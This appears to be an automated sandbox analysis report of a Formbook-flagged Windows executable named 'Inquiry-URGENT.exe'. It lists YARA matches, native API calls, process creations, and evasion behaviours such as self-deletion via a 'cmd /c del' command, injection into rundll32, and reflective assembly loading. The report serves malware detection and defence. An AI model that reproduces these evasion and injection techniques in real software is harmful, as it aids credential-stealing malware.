Source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 2_2_010AF5D0	2_2_010AF5D0
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 2_2_010AC184	2_2_010AC184
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 2_2_010AE5CA	2_2_010AE5CA
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 2_2_010AE5D0	2_2_010AE5D0
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041D098	3_2_0041D098
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041BA9A	3_2_0041BA9A
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00408C70	3_2_00408C70
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041C496	3_2_0041C496
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041BD4C	3_2_0041BD4C
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041BF9E	3_2_0041BF9E
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2841F	8_2_04B2841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDD466	8_2_04BDD466
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42581	8_2_04B42581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2D5E0	8_2_04B2D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE25DD	8_2_04BE25DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B10D20	8_2_04B10D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE2D07	8_2_04BE2D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE1D55	8_2_04BE1D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE2EF7	8_2_04BE2EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B36E30	8_2_04B36E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDD616	8_2_04BDD616
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE1FF1	8_2_04BE1FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BEDFCE	8_2_04BEDFCE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B420A0	8_2_04B420A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE20A8	8_2_04BE20A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2B090	8_2_04B2B090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE28EC	8_2_04BE28EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BEE824	8_2_04BEE824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD1002	8_2_04BD1002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1F900	8_2_04B1F900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE22AE	8_2_04BE22AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4EBB0	8_2_04B4EBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD03DA	8_2_04BD03DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDDBD2	8_2_04BDDBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE2B28	8_2_04BE2B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BD098	8_2_009BD098
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BBA9A	8_2_009BBA9A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009A8C70	8_2_009A8C70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009A2D90	8_2_009A2D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BBD4C	8_2_009BBD4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BBF9E	8_2_009BBF9E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009A2FB0	8_2_009A2FB0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 04B1B150 appears 45 times

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_004185B0 NtCreateFile,	3_2_004185B0
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00418660 NtReadFile,	3_2_00418660
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_004186E0 NtClose,	3_2_004186E0
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00418790 NtAllocateVirtualMemory,	3_2_00418790
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041880A NtAllocateVirtualMemory,	3_2_0041880A
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_004186DA NtClose,	3_2_004186DA
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041878A NtAllocateVirtualMemory,	3_2_0041878A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B595D0 NtClose,LdrInitializeThunk,	8_2_04B595D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59540 NtReadFile,LdrInitializeThunk,	8_2_04B59540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B596E0 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_04B596E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B596D0 NtCreateKey,LdrInitializeThunk,	8_2_04B596D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59660 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_04B59660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59650 NtQueryValueKey,LdrInitializeThunk,	8_2_04B59650
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59780 NtMapViewOfSection,LdrInitializeThunk,	8_2_04B59780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59FE0 NtCreateMutant,LdrInitializeThunk,	8_2_04B59FE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59710 NtQueryInformationToken,LdrInitializeThunk,	8_2_04B59710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59860 NtQuerySystemInformation,LdrInitializeThunk,	8_2_04B59860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59840 NtDelayExecution,LdrInitializeThunk,	8_2_04B59840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B599A0 NtCreateSection,LdrInitializeThunk,	8_2_04B599A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59910 NtAdjustPrivilegesToken,LdrInitializeThunk,	8_2_04B59910
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59A50 NtCreateFile,LdrInitializeThunk,	8_2_04B59A50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B595F0 NtQueryInformationFile,	8_2_04B595F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5AD30 NtSetContextThread,	8_2_04B5AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59520 NtWaitForSingleObject,	8_2_04B59520
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59560 NtWriteFile,	8_2_04B59560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59610 NtEnumerateValueKey,	8_2_04B59610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59670 NtQueryInformationProcess,	8_2_04B59670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B597A0 NtUnmapViewOfSection,	8_2_04B597A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59730 NtQueryVirtualMemory,	8_2_04B59730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5A710 NtOpenProcessToken,	8_2_04B5A710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5A770 NtOpenThread,	8_2_04B5A770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59770 NtSetInformationFile,	8_2_04B59770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59760 NtOpenProcess,	8_2_04B59760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B598A0 NtWriteVirtualMemory,	8_2_04B598A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B598F0 NtReadVirtualMemory,	8_2_04B598F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59820 NtEnumerateKey,	8_2_04B59820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5B040 NtSuspendThread,	8_2_04B5B040
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B599D0 NtCreateProcessEx,	8_2_04B599D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59950 NtQueueApcThread,	8_2_04B59950
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59A80 NtOpenDirectoryObject,	8_2_04B59A80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59A20 NtResumeThread,	8_2_04B59A20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59A10 NtQuerySection,	8_2_04B59A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59A00 NtProtectVirtualMemory,	8_2_04B59A00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5A3B0 NtGetContextThread,	8_2_04B5A3B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B59B00 NtSetValueKey,	8_2_04B59B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B85B0 NtCreateFile,	8_2_009B85B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B86E0 NtClose,	8_2_009B86E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B8660 NtReadFile,	8_2_009B8660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B8790 NtAllocateVirtualMemory,	8_2_009B8790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B880A NtAllocateVirtualMemory,	8_2_009B880A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B86DA NtClose,	8_2_009B86DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B878A NtAllocateVirtualMemory,	8_2_009B878A

Source: Inquiry-URGENT.exe	Binary or memory string: OriginalFilename vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000002.00000002.670471752.0000000000712000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameResourceTableMappingEntryField.exeP vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000002.00000002.675364064.0000000005BE0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameCF_Secretaria.dll< vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000002.00000002.671314085.0000000002BBB000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameColladaLoader.dll4 vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe	Binary or memory string: OriginalFilename vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000003.00000000.669340059.00000000005D2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameResourceTableMappingEntryField.exeP vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000003.00000002.754490731.000000000307C000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameRUNDLL32.EXEj% vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe, 00000003.00000002.753164134.000000000117F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Inquiry-URGENT.exe
Source: Inquiry-URGENT.exe	Binary or memory string: OriginalFilenameResourceTableMappingEntryField.exeP vs Inquiry-URGENT.exe

Source: Inquiry-URGENT.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Inquiry-URGENT.exe	Virustotal: Detection: 36%
Source: Inquiry-URGENT.exe	Metadefender: Detection: 22%
Source: Inquiry-URGENT.exe	ReversingLabs: Detection: 71%

Source: Inquiry-URGENT.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Inquiry-URGENT.exe 'C:\Users\user\Desktop\Inquiry-URGENT.exe'
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process created: C:\Users\user\Desktop\Inquiry-URGENT.exe C:\Users\user\Desktop\Inquiry-URGENT.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process created: C:\Users\user\Desktop\Inquiry-URGENT.exe C:\Users\user\Desktop\Inquiry-URGENT.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Inquiry-URGENT.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@13/7

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3532:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Inquiry-URGENT.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Inquiry-URGENT.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: Inquiry-URGENT.exe, 00000003.00000002.753164134.000000000117F000.00000040.00000001.sdmp, rundll32.exe, 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp
Source:	Binary string: rundll32.pdb source: Inquiry-URGENT.exe, 00000003.00000002.754416564.0000000003070000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: Inquiry-URGENT.exe, 00000003.00000002.753164134.000000000117F000.00000040.00000001.sdmp, rundll32.exe
Source:	Binary string: rundll32.pdbGCTL source: Inquiry-URGENT.exe, 00000003.00000002.754416564.0000000003070000.00000040.00020000.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: Inquiry-URGENT.exe, Form1.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 2.2.Inquiry-URGENT.exe.710000.0.unpack, Form1.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 2.0.Inquiry-URGENT.exe.710000.0.unpack, Form1.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.Inquiry-URGENT.exe.5d0000.0.unpack, Form1.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.2.Inquiry-URGENT.exe.5d0000.1.unpack, Form1.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041B85C push eax; ret	3_2_0041B862
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_004150E3 push ebp; retf	3_2_004150E5
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00415479 pushad ; retf	3_2_0041547A
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0040453C pushfd ; iretd	3_2_0040453F
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_00415F0E push cs; retf	3_2_00415F18
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041B7F2 push eax; ret	3_2_0041B7F8
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041B7FB push eax; ret	3_2_0041B862
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Code function: 3_2_0041B7A5 push eax; ret	3_2_0041B7F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B6D0D1 push ecx; ret	8_2_04B6D0E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B50E3 push ebp; retf	8_2_009B50E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BB85C push eax; ret	8_2_009BB862
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B5479 pushad ; retf	8_2_009B547A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009A453C pushfd ; iretd	8_2_009A453F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BB7A5 push eax; ret	8_2_009BB7F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BB7FB push eax; ret	8_2_009BB862
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009BB7F2 push eax; ret	8_2_009BB7F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_009B5F0E push cs; retf	8_2_009B5F18

Source: initial sample

Static PE information: section name: .text entropy: 7.57244291129

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'			Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
